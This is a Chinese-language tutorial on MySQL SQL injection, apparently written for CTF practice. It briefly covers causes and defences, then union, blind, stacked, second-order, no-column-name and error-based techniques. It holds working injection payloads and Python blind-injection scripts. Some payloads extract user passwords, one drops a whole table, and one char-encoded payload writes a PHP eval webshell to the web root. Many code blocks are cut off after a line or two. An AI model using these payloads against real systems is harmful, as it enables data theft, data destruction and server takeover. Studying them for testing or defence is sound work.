sql注入漏洞
漏洞成因:
应用为了和数据库进行沟通完成必要的管理和存储工作,必须和数据库保留一种接口。 目前的数据库一般都是提供api以支持管理,应用使用底层开发语言如Php,Java,asp,Python与这些api进行通讯。对于数据库的操作,目前普遍使用一种SQL语言(Structured Query Language语言,SQL语言的功能包括增删查改等,是一个综合的、通用的关系数据库语言,同时又是一种高度非过程化的语言,只要求用户指出做什么而 不需要指出怎么做),SQL作为字符串通过API传入给数据库,数据库将查询的结果返回,数据库自身是无法分辨传入的SQL是合法的还是不合法的,它完全 信任传入的数据,如果传入的SQL语句被恶意用户控制或者篡改,将导致数据库以当前调用者的身份执行预期之外的命令并且返回结果,导致安全问题。 那么恶意用户如何才能控制传入的SQL语句呢?我们知道,传入的SQL是以字符串的方式传入的,这个字符串由应用生成,那么如果应用生成这个字符串的方式不对就可能导致问题,譬如考虑如下的功能:
1 | $sql="select * from members where userid=".$_GET[userid]; |
这段代码的逻辑是根据用户请求的Userid进入数据库查询出不同的用户并且返回给用户,可以看到最终传入的字符串有一部分是根据用户的输入来控制的,一旦用户提交poc.php?userid=1 or 1=1
最终进入程序之后传入数据库的逻辑将是
1 | $sb->query("select * from members where userid=1 or 1=1"); |
那么就会出现违背设计者初衷而非法查询出当前表所有数据的结果,因此用户完全可以根据传入的内容来控制整个SQL的逻辑,实现间接控制和管理数据库的目的,这种命令(SQL语句)和数据(用户提交的查询)不分开的实现方式导致了安全漏洞的产生。 由于不同的开发语言可能对api进行了不同的封装,并且各种语言内部对数据的校验会有不同的要求,譬如java和python属于变量强类型并且各种开发 框架的流行导致出现SQL注射的几率较小,php属于弱类型不会对数据进行强制的验证加上过程化的程序编写思路导致出现注射的几率会较大。
攻击方式概览
通过典型的SQL注入漏洞,黑客是可以根据所能控制的内容在SQL语句的上下文导致不同的结果的,这种不同主要体现在不同的数据库特性上和细节上。同时,后端的数据库的不同导致黑客能利用SQL语句进行的操作也并不相同,因为很多的数据库在标准的SQL之外也会实现一些自身比较特别的功能和扩展,常见的有Sqlserver的多语句查询,Mysql的高权限可以读写系统文件,Oracle经常出现的一些系统包提权漏洞。 即使一些SQL注入本身无法对数据本身进行一些高级别的危害,譬如一些数据库里可能没有存储私密信息,利用SQL查询的结果一样可能对应用造 成巨大的灾难,因为应用可能将从数据库里提取的信息做一些其他的比较高危险的动作,譬如进行文件读写,这种本身无价值的数据和查询一旦被应用本身赋予较高 的意义的话,可能一样导致很高的危害。 评估一个SQL注射的危害需要取决于注射点发生的SQL语句的上下文,SQL语句在应用的上下文,应用在数据库的上下文,综合考虑这些因素来评估一个 SQL注射的影响,在无上述利用结果的情况下,通过web应用向数据库传递一些资源要求极高的查询将导致数据库的拒绝服务,这将是黑客可能能进行的最后的 利用。
防范修复方法
一般防范方法:
单引号闭合可控变量,并进行相应的转义处理
尽量使用预编译来执行SQL语句
采用白名单机制/完善黑名单
安装WAF防护软件
拒绝不安全的编码转换,尽量统一编码
关闭错误提示
了解根源的防范方案:
由于输入的来源太过广泛,可能来自于数据库,HTTP请求,文件或者其他的数据来 源,较难对所有进入的数据在各种场景下进行有效的过滤。事实上最根源的不是数据,而是我们使用数据的方式,最为彻底的修复一定要查找最为彻底的根源,我们可以看到最后的根源在于对数据和指令的不分离,所以在修复的时候应该极力将数据和指令分离。目前较为提倡的,同时在各种数据库操作框架里体现的方式就是以填充模板的方式来代替传统的拼接的方式进行数据库查询,譬如:
1 | $SqlTemplate="select * from members where userid={userid|int}"; |
模板里有关数据及数据自身意义的描述,PreSql方法将实现将模板和数据安全的转换为SQL语句的功能,以保障最终的安全的实现。
开始学习注入(以Mysql注入为例)
注释:
单行注释 | 单行注释 | 单行注释 | 多行(内联)注释 |
---|---|---|---|
# |
-- x //x为任意字符 |
;%00 |
/*任意内容*/ |
了解Mysql数据库
mysql可以管理 多个数据库 ,一个数据库可以包含 多个数据表 ,而一个数据表有含有 多条字段 ,一行数据正是多个字段同一行的一串数据。
Mysql使用最为广泛,Mysql数据库本身的权限极高,作为应用可以对本机进行文件读写,可以进行提权等。
. 5.0以下是多用户单操作
· 5.0以上是多用户多操做
在MySQL5.0以下,没有information_schema这个数据库,无法列表名,列名等,只能暴力猜解,或者采用后面会提到的无列名注入之类的方式加以利用。
在MySQL5.0以上,MySQL中默认添加了一个名为 information_schema 的数据库,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件.
注入方式
联合查询
相关知识
UNION
可以将前后两个查询语句的结果拼接到一起,但是会自动去重。
UNION ALL
功能相同,但是会显示所有数据,不会去重。
具有类似功能的还有JOIN
https://blog.csdn.net/julielele/article/details/82023577
但是是一个对库表等进行连接的语句,我们在后续会提到利用它来进行无列名注入。
注入流程:
1.判断是否存在注入,注入的类型(数字,字符等),猜测后端语句闭合方式,初步在心里形成简单绕过思路
1 | ?id=1' |
2.用二分法等加上order/group by 语句拼接数字,根据页面判断,确定字段数。
或者在上述被ban的情况下,采用union select 联合查询,在其后不断加数字,直到不报错也可确定字段数(联合查询前后字段数不一致会导致报错)
3.确定回显字段位置,采用特异性原理,用不同的记号如数字等标记不同字段位置,根据回显情况可确定可利用位置。
注:
· 页面可能进行的是单行输出,从而导致我们标记的显示位无法进行回显,此时,只需要使前方原回显位置查询结果为空即可,如置零,置负,置极大数皆可。
4.找到回显字段后即可开始查询
1 | 1. 获取当前数据库名 |
1 | 2.获取当前数据库下的表名 |
1 | 3.获取表中字段名 |
1 | 4.获取数据 |
确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据 即是我们的一般联合查询sql注入数据库的流程。
盲注
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常 是无法从显示页面上获取sql语句的执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是 SQL盲注。
核心:利用逻辑代数连接词/条件函数,让页面返回的内容/响应时间与正常的页面不符。
布尔盲注:
对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
首先通过页面对于永真条件or 1=1
与永假条件and 1=2
的返回内容是否存在差异进行判断是否可以进行布尔盲注。
如:select * from users where username=$username
,其作用设定为判断用户名是否存在。
通常仅返回存在/不存在,两个结果。
这时候我们就不能使用联合查询法注入,因为页面不显示SQL语句返回的内容,只能使用盲注法/报错注入法来注出数据。
我们在将语句注入成:select * from users where username=$username or (condition)
若后边拼接的条件为真的话,那么整条语句的where区域将变成永真条件。
那么,即使我们在$username处输入的用户名为一个铁定不存在的用户名,那么返回的结果也仍然为存在。
利用这一特性,我们的condition为:length(database())>8 即可用于判断数据库名长度
除此之外,还可:ascii(substr(database(),1,1))<130 用二分法快速获取数据(逐字判断)
payload如下:
1 | select * from users where username=nouser or length(database())>8 |
还用到了各种运算符,<
,>
,=
当然不必多提,但是在下面POST的方式中用到了异或符号^
,这里其实是一种异或注入的方法,当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入。
异或运算规则:
1^1=0 0^0=0 0^1=1
1^1^1=1 1^1^0=0
0^0^0=0
构造payload:'^ascii(mid(database(),1,1)=98)^0
注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的.
然后通过python脚本等工具进行自动化注入(手工操作,emmmmm…工作量有点多了,hahahha)
下面给出常用的布尔盲注脚本。
GET 型注入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import requests
import time
url = 'xxxxxxxxxxxxxx'
cookies = { # 如果目标网站要事先登录,就加上cookies
"PHPSESSID":"xxxxxxxxx"
}
flag = ''
for i in range(1,90000):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "xxxxxxxxxxxxxx/?id=0' or ascii(substr(database(),{},1))>{}-- ".format(i,mid) # 注意get型的注入注释符要用--空格
res = requests.get(url=payload)
if 'true' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)POST 型注入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import requests
url = 'xxxxxxxxxxxxxx/index.php'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = 'xxxxxxxxxxxxxx/search.php?id=1^(ascii(substr(database(),{0},1))={1})#'.format(i,mid)
payload = "0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})#".format(i,mid)
datas = {
"id":payload
}
res = requests.post(url=url,data=datas)
if 'xxxx' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
不能当脚本小子,我们要掌握脚本的编写思路!!!
首先,我们先分析脚本的思路,脚本利用了request库来发送请求,同时定义了一个flag字符串用来储存flag。然后写了一个for循环,封 顶跑250遍,然后定义了low和high,这里根据的是ASCII码中的打印字符,定义了中间值,因为一会儿要使用的是二分法,当 low<high时进入while循环,执行payload是否大于mid的判断,这里GET和POST略有区别,POST传入的键值对,利用 requests.post方法进行请求,GET直接把Payload拼接在url后面进行requests.get方法即可,然后根据我们判断真假的方 式写一个if循环,这里的res.text是返回数据,可以先写个简单脚本看一下该怎么从其中判断真假,如果为真low=mid+1,然后再取中间值,如 果为假则high=mid然后取中间值,直到low大于high就能确定出该位置的ASCII码了,然后最下面的if循环是排除掉在两端的特殊情况,然后 每次循环打印一次flag,有时候可能还要设置延时,这里没有管。
利用异或的盲注
1 | ?id=0'^1--+ |
利用order by的盲注
- 该方法只适用于表里就一行数据的时候。
如果注入的时候没有报错,我们又不知道列名,在无列名注入,即通过使用union
语句来对未知列名进行重命名的形式绕过,或通过使用join using()
报错注入出列名被ban之后,就只能用 order by 盲注了。当然,在 过滤了括号 的时候,order by 盲注也是个很好的办法。
order by n 的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),我们可以使用order by排序比较字符的 ascii 码大小,从第⼀位开始比较,第⼀位相同时比较下⼀位。
利用方式参见如下测试:
1 | mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3; |
通过逐位判断便可得到password
这种方法运用的情况比较极端一些,如布尔盲注时,字符截取/比较限制很严格。例子:
1 | select * from users where (select 'r' union select user() order by 1 limit 1)='r' |
实际上此处是利用了order by
语句的排序功能来进行判断的。若我们想要查询的数据开头的首字母在字母表的位值比我们判断的值要靠后,则limit
语句将不会让其输出,那么整个条件将会成立,否之不成立。
利用这种方法可以做到不需要使用like、rlike、regexp
等匹配语句以及字符操作函数。
再举个例子:
1 | select username,flag,password from users where username='$username;' |
页面回显的字段为:username与password,如何在union
与flag
两单词被拦截、无报错信息返回的情况下获取到用户名为admin
的flag值?
使用order by
可轻松盲注。payload:
1 | select username,flag,password from users where username='admin' union select 1,'a',3 order by 2 |
与之前的原理相同,通过判断前后两个select语句返回的数据前后顺序来进行盲注数据
参考脚本:
1 | import requests |
时间盲注:
通过判断页面返回内容的响应时间差异进行条件判断。
通常可利用的产生时间延迟的函数有:*sleep()、benchmark(),还有许多进行复杂运算的函数*也可以当做延迟的判断标准、笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟**等方法。
如上述例子:若服务器在执行永真/永假条件并不直接返回两个容易区分的内容时,利用时间盲注或许是个更好的办法。
在上述语句中,我们拼接语句,变成:
1 | select * from users where username=$username (and | or) if(length(database())>8,sleep(5),1) |
如果数据库名的长度大于8,那么if条件将执行sleep(5),那么此条语句将进行延迟3秒的操作。
若小于或等于8,则if条件直接返回1,并与前边的逻辑连接词拼接,无延迟直接返回。通常的响应时间在0-1秒之内,与上种情况具有很容易区分的结果,可做条件判断的依据。
注:无if和case的解决办法
假设if
和case
被ban了,又想要根据condition的真假来决定是否触发sleep()
,可以将condition整合进sleep()
中,做乘法即可:
1 | sleep(5*(condition)) |
如果condition为真则返回1,5*(condition)
即5*1
为5,延时5秒;如果condition为假则返回0,5*(condition)
即5*0
为0,延时0秒。
写脚本的技巧
很多人喜欢这样写脚本:
1 | start_time = int(time.time()) |
这其实非常不好!因为我们发现了除了sleep
其他基本都不太能精准控制延时时长,这样写脚本就是:你延时多久我就等你多久。太慢了!如果一次延时要一个小时,你也要等他一个小时吗?很明显不太明智,等你注完黄瓜菜都凉了。
正确的写延时盲注脚本的方法应该是:
1 | try: |
我们利用timeout=3
设置了一个3秒的超时,如果超时会抛出Exception。这样写代码的好处是:就算它要延时一年,我们也就等他3秒钟,然后就开始下一轮循环了,不用陪着MySQL延时,大大提高了脚本的效率。
下面给出脚本
GET型的时间盲注脚本
1 | import requests |
当然还有POST型的,
1 | import requests |
时间盲注在CTF比赛和平时生产环境中都是比较常见的,但是当我们常⽤的函数被过滤的话,那该怎么办呢?还有以下几种时间盲注方式。
笛卡尔积延时盲注
count(*)
后面所有表中的列笛卡尔积数,数量越多越卡,就会有延迟,类似之前某比赛pgsql的延时注入也可以利用此来 打时间差,从而达到延时注入的效果:
1 | mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; |
得到的结果都会有延迟。这里选用information_schema.columns表
的原因是其内部数据较多,到时候可以根据实际情况调换。
那么我们就可以使用这个原理,并配合if()语句进行延时注入了,payload 与之前相似,类似如下:
1 | admin' and if(ascii(substr((select database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)# |
给出一个笛卡尔积延时注入脚本:
1 | import requests |
基于benchmark()函数的延时盲注
benchmark()函数是MySQL的一个内置函数,用于测试函数或者表达式的执行速度,当sleep函数被ban时,该函数明显是一个不错的代替选择。
其运行返回值都是0,仅仅会执行显示时间。
用法:benchmark(重复次数, 执行的函数)
例如:将select database()执行100000000次,显示耗时0.52sec
1 | select benchmark(100000000,(select database())) |
我们来看看在盲注利用时的相关特性:
无论benchmark()内的函数或表达式语句执行结果为True、False、Null,他都会正常执行。
仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。
当benchmark()内的语句运行失败时,benchmark同样执行失败。
结合上面三个特性,我们可以利用benchmark函数判断我们查找的信息是否存在(表名、列名、字段名等),可以从是否有延时来验证数据库中是否有我们要查找的信息,效果上约等于sleep()函数,要是再配合上暴力破解那岂不是美滋滋。
1 | http://127.0.0.1/?id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+ //判断数据库名第一个字符是否为 s |
给出基于benchmark()函数 的时间盲注脚本:
1 | #author:windy_2import requests |
堆叠注入
在SQL中,分号;
是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行? 因这个想法也就造就了堆叠注入。
再想一下,联合注入也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于 union 或者union all执行的语句类型是有限制的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子。用户输入:1; DELETE FROM products;
服务器端生成的sql语句为:select * from products where id=1;DELETE FROM products;
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
但是,这种堆叠注入也是有局限性的。堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在有的Web系统中,因为代码通常只返回一个查询结 果,因此,堆叠注入第二个语句产生的错误或者执行结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,建议配合使用 union 联合注入。
一般存在堆叠注入的都是由于使用 mysqli_multi_query()
函数执行的sql语句,该函数可以执行一个或多个针对数据库的查询,多个查询用分号进行分隔。
注入流程
1 | # 读取数据 |
PHP中堆叠注入的支持情况:
Mysqli | PDO | MySQL | |
---|---|---|---|
引入的PHP版本 | 5.0 | 5.0 | 3.0之前 |
PHP5.x是否包含 | 是 | 是 | 是 |
多语句执行支持情况 | 是 | 大多数 | 否 |
下面是MySQL堆叠注入的几种常见姿势。
以 buu例题,强网杯2019(随便注)为例:
1. 预处理语句+堆叠注入
(1)在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。
- PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(
hello
)供之后调用 - EXECUTE:执行命令
- DEALLOCATE PREPARE:释放命令
- SET:用于设置变量(
@a
)
预处理语句使用例子:
1 | PREPARE x from '[my sql sequece]'; //预定义SQL语句 |
预定义语句也可以通过变量进行传递:
1 | SET @tn = 'hahaha'; //存储表名 |
(2)MySql 预处理配合十六进制绕过关键字
基本原理如下:
1 | mysql> select hex('show databases'); |
即payload类似于
1 | 1';sEt @a=0x73686F7720646174616261736573;PRepare aaa from @a;execute aaa;# |
(3)MySql预处理配合字符串拼接绕过关键字
原理就是借助char()
函数将ascii码转化为字符然后再使用concat()
函数将字符连接起来,有了前面的基础这里应该很好理解了:
1 | set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1; |
也可以不用concat函数,直接用char函数也具有连接功能:
1 | set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from @sql;execute s1; |
而本题可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<—–>’select’
payload1:不使用变量
1 | 1';PREPARE x from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE x;# |
payload2:使用变量
1 | 1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE x from @sqli;EXECUTE x;# |
payload3:只使用contact(),不使用char()
1 | 1';PREPARE x from concat('s','elect', ' * from `1919810931114514` ');EXECUTE x;# |
直接输入这三个payload的任何一个都能获得flag
注:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
eg. mysql> SELECT * FROM table
WHERE id
= ‘123’ ;
1919810931114514必须用反单引号括起来(但是words不需要,应该是和数据类型有关)
2.重命名+堆叠注入
rename 修改表名
1 | 1';rename table words to words1;rename table flag_here to words;# |
rename/alter 修改表名与字段名
1 | 1';rename table words to words1;rename table flag_here to words;alter table words change flag id varchar(100);# |
3.利用 HANDLER 语句
如果rename、alter被过滤了,我们可以借助HANDLER语句来bypass。在不更改表名的情况下读取另一个表中的数据。
HANDLER ... OPEN
语句打开一个表,使其可以使用后续 HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER ... CLOSE
或会话终止之前不会关闭,详情请见:https://www.cnblogs.com/taoyaostudy/p/13479367.html
1 | 1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;# |
堆叠注入中的盲注
堆叠注入中的盲注往往是插入sql语句进行实践盲注,就比如 [SWPU2019]Web4 这道题。编写时间盲注脚本:
1 | import requests |
这里还涉及到了一些json的内容,json.dumps() 是把python对象转换成json对象的一个过程,生成的是字符串。web服务中传输信息的一种方式。
二次注入
二次注入用到的SQL语法知识
- 通常二次注入的成因会是插入语句,我们控制自己想要查询的语句插入到数据库中再去找一个能显示插入数据的回显的地方(可能是登陆后的用户名等等、也有可能是删除后显示删除内容的地方~),恶意插入查询语句的示例如下:
1 | insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com') |
需要对后端的SQL语句有一个猜测
这里还有一个点,我们不能直接将要查询的函数插入,因为如果直接插入的话,'database()'
会被识别为字符串,我们需要想办法闭合前后单引号的同时将我们的查询插入,就出现了'0'+database()+'0'
这样的构造,但是这个的回显是0
,但是在我们进行了hex编码之后就能正常的查询了,也就是上面出现的'0'+hex(database())+'0'
注入流程
首先找到插入点,通常情况下是一个注册页面,register.php
这种,先简单的查看一下注册后有没有什么注册时写入的信息在之后又回显的,若有回显猜测为二次查询。
1 | insert into users(id,username,password,email) values(1,'0'+hex(database())+'0','0'+hex(hex(user()))+'0','123@qq.com') |
构造类似于values中的参数进行注册等操作,然后进行查看,将hex编码解码即可,可能会有其他的限制,比如超过10位就会转化为科学计数法,我们就需要使用from for
语句来进行一个限制,可以编写脚本。
1 | import requests |
无列名注入
1. 123法注列名
我们可以利用一些查询上的技巧来进行无列名、表名的注入。
在我们直接select 1,2,3
时,会创建一个虚拟的表
如图所见列名会被定义为1,2,3
当我们结合了union联合查询之后
如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password,进而我们就可以构造这样的查询语句来查询password:
1 | select `3` from (select 1,2,3 union select * from users)a; |
末尾的 a 可以是任意字符,用于命名
当然,多数情况下,反引号会被过滤。当反引号不能使用的时候,可以使用别名来代替:
1 | select b from (select 1,2,3 as b union select * from admin)a; |
2. join······using注列名
通过系统关键词join可建立两个表之间的内连接。
通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。
并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。
我们可以利用爆错,借助join和using爆出列名,id为第一列,username为第二列,可以逐个爆出,爆出全部列名之后即可得到列内数据。
1 | mysql>select * from(select * from users a join (select * from users)b)c; |
3.过滤了information_schema库,利用sys系统库
当过滤or时,information_schema这个库就会被过滤,那么mysql在被waf禁掉了information_schema库后还能有哪些利用思路呢?
information_schema 简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。在注入中, infromation_schema库的作用无非就是可以获取到table_schema、table_name、column_name这些数据库内 的信息。
能够代替information_schema的有:
sys.schema_auto_increment_columns 只显示有自增的表
sys.schema_table_statistics_with_buffer
x$schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
1
select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
以上大部分特殊数据库都是在 mysql5.7 以后的版本才有,并且要访问sys数据库需要有相应的权限。
1 | #查询所有的库: |
视图->列名 | 说明 |
---|---|
host_summary -> host、total_connections | 历史连接IP、对应IP的连接次数 |
innodb_buffer_stats_by_schema -> object_schema | 库名 |
innodb_buffer_stats_by_table -> object_schema、object_name | 库名、表名(可指定) |
io_global_by_file_by_bytes -> file | 路径中包含库名 |
io_global_by_file_by_latency -> file | 路径中包含库名 |
processlist -> current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
schema_auto_increment_columns -> table_schema、table_name、column_name | 库名、表名、列名 |
schema_index_statistics -> table_schema、table_name | 库名、表名 |
schema_object_overview -> db | 库名 |
schema_table_statistics -> table_schema、table_name | 库名、表名 |
schema_table_statistics_with_buffer -> table_schema、table_name | 库名、表名 |
schema_tables_with_full_table_scans -> object_schema、object_name | 库名、表名(全面扫描访问) |
session -> current_statement、last_statement | 当前数据库正在执行的语句、该句柄执行的上一条语句 |
statement_analysis -> query、db | 数据库最近执行的请求、对于请求访问的数据库名 |
statementswith* -> query、db | 数据库最近执行的特殊情况的请求、对应请求的数据库 |
version -> mysql_version | mysql版本信息 |
x$innodb_buffer_stats_by_schema | 同innodb_buffer_stats_by_schema |
x$innodb_buffer_stats_by_table | 同innodb_buffer_stats_by_table |
x$io_global_by_file_by_bytes | 同io_global_by_file_by_bytes |
…… | 同…… |
x$schema_flattened_keys -> table_schema、table_name、index_columns | 库名、表名、主键名 |
x$ps_schema_table_statistics_io -> table_schema、table_name、count_read | 库名、表名、读取该表的次数 |
还有mysql数据库也可以查询表名、库名。
1 | select table_name from mysql.innodb_table_stats where database_name=database(); |
在使用上面的表来获取表名之后select group_concat(table_name) from mysql.innodb_table_stats
,我们是没有办法获得列的,这个时候再采用上面的无列名注入,获取数据。
报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果,夹带出我们想要的信息来获取信息的。具体来说说,可以利用的特殊函数及使用方式。
exp()
函数语法:exp(int)
适用版本:5.5.5~5.5.49
该函数将会返回e的x次方结果。
我们知道,乘方到后边每增加1,其结果都将跨度极大(指数爆炸),而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错。
我们的payload为:exp(~(select * from(select user())a))
其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp函数内,得到的结果将超过mysql的double数组范围,从而报错输出。至于为什么需要用两层子查询
1 | exp()函数套用两层的子查询的原因: |
除了exp()
之外,还有类似pow()
之类的相似函数同样是可利用的,他们的原理相同。
updatexml()
函数语法:updatexml(XML_document, XPath_string, new_value);
适用版本: 5.1.5+
我们通常在第二个xpath参数填写我们要查询的内容。
与exp()不同,updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。
payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式从而报错。
extractvalue()
函数语法:EXTRACTVALUE (XML_document, XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
rand()+group()+count()
虚拟表报错原理:简单来说,是由于where条件每执行一次,rand函数就会执行一次,如果在由于在统计数据时判断依据不能动态改变,故rand()
不能后接在order/group by
上。
举一个例子:假设user表有三条数据,我们通过:select * from user group by username
来通过其中的username字段进行分组。
此过程会先建立一个虚拟表,存在两个字段:key,count
其中我们通过username来判断,其在此处是字段,首先先取第一行的数据:username=test&password=test
username为test出现一次,则现在虚表内查询是否存在test,若存在,则count+1,若不存在,则添加test,其count为1。
对于floor(rand(0)*2)
,其中rand()
函数,会生成0~1之间随机一个小数、floor()
取整数部分、0是随机数种子、乘2是为了让大于0.5的小数通过floor函数得1,否则永远为0。
若表中有三行数据:我们通过select * from user group by floor(rand(0)*2)
进行排序的话。
注意,由于rand(0)
的随机因子是被固定的,故其产生的随机数也被固定了,顺序为:011011…
首先group by
需要执行的话,需要确定分组因子,故floor(rand(0)*2)
被执行一次,得到的结果为0,接着在虚表内检索0,发现虚表没有键值为0的记录,故添加上,在进行添加时:floor(rand(0)*2)
第二次被执行,得到结果1,故虚表插入的内容为key=1&count=1
。
第二次执行group by时:floor(rand(0)*2)
先被运行一次,也就是第三次运行。得到结果1,查询虚表发现数据存在,因而直接让虚表内的key=1的count加一即可,floor(..)只运行了一次。
第三次执行group by时,floor被执行第四次,得到结果0,查询虚表不存在。再插入虚表时,floor(…)被执行第五次,得到结果1,故此时虚表将插入的值为key=1&count=1
,注意,此时虚表已有一条记录为:key=1&count=2
,并且字段key为主键,具有不可重复性,故虚表在尝试插入时将产生错误。
payload用法:
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
几何函数(适用于5.1-5.5版本 (5.0.中存在但是不会报错))
- GeometryCollection:
id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
- polygon():
id=1 AND polygon((select * from(select * from(select user())a)b))
- multipoint():
id=1 AND multipoint((select * from(select * from(select user())a)b))
- multilinestring():
id=1 AND multilinestring((select * from(select * from(select user())a)b))
- linestring():
id=1 AND LINESTRING((select * from(select * from(select user())a)b))
- multipolygon() :
id=1 AND multipolygon((select * from(select * from(select user())a)b))
ST.LatFromGeoHash()(mysql>=5.7.x)
1 | ') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+ |
ST.LongFromGeoHash
同上 嵌套查询
ST_Pointfromgeohash (mysql>5.7)
1 | #获取数据库版本信息 |
不存在的函数
随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。
Bigint数值操作:
当mysql数据库的某些边界数值进行数值运算时,会报错的原理。
如~0得到的结果:18446744073709551615
若此数参与运算,则很容易会错误。
payload: select !(select * from(select user())a)-~0;
name_const()
仅可取数据库版本信息
payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a
uuid相关函数
适用版本:8.0.x
参数格式不正确。
1 | mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1)); |
GTID相关函数
GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的
1 | GTID的表现形式 -> GTID =source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始 3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为 3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务 |
